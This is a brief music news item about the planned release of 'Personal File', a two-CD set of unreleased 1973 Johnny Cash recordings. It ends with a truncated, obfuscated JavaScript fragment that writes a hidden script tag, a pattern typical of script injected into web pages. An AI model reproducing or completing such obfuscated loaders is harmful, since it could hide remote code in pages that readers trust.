Archive Johnny Cash material is set to be released.
'Personal File', a two-CD set of 49 previously unreleased tracks, will be released in May.
The set will focus largely on performances done by Cash in July 1973.
The country legend spent several days in the studio at his House of Cash offices in Tennessee. Here he recorded traditional folk and gospel songs, originals and covers by the likes of the Louvin Brothers and Johnny Horton.
The tapes were discovered by Cash's son John Carter Cash and Legacy Records A&R Steve Berkowitz in 2004.
"This is his 'Basement Tapes'," Berkowitz told Rolling Stone, "(it's) as close as you can get to him singing on the porch."
Berkowitz said there was much unreleased material yet to be issued, including test pressings of Cash's Sun Records and publishing demos, and multitrack audio masters from Cash's TV series 'The Johnny Cash Show'.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22